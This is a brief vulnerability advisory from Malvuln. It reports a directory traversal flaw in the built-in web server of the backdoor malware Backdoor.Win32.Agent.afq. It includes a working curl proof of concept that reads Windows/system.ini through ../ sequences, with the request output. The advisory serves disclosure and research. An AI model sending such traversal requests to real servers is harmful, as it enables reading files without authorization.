Backdoor.Win32.Agent.afq malware suffers from a directory traversal vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_B.txt
Contact: [email protected]
Vulnerability: Directory Traversal
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. The server allows third-party attackers to read arbitrary files outside of its root directory via ../ character sequences in the pathname.
Vuln ID: MVID-2021-0189
curl http://192.168.88.127:8080/../../../../../../Windows/system.ini -v
* Rebuilt URL to: http://192.168.88.127:8080/Windows/system.ini
* Trying 192.168.88.127...
* TCP_NODELAY set
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
GET /Windows/system.ini HTTP/1.1
HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Date: Tue, 27 Apr 2021 01:33:58 GMT
Server: UberWWW v. 1.1
; for 16-bit app support
* Closing connection 0
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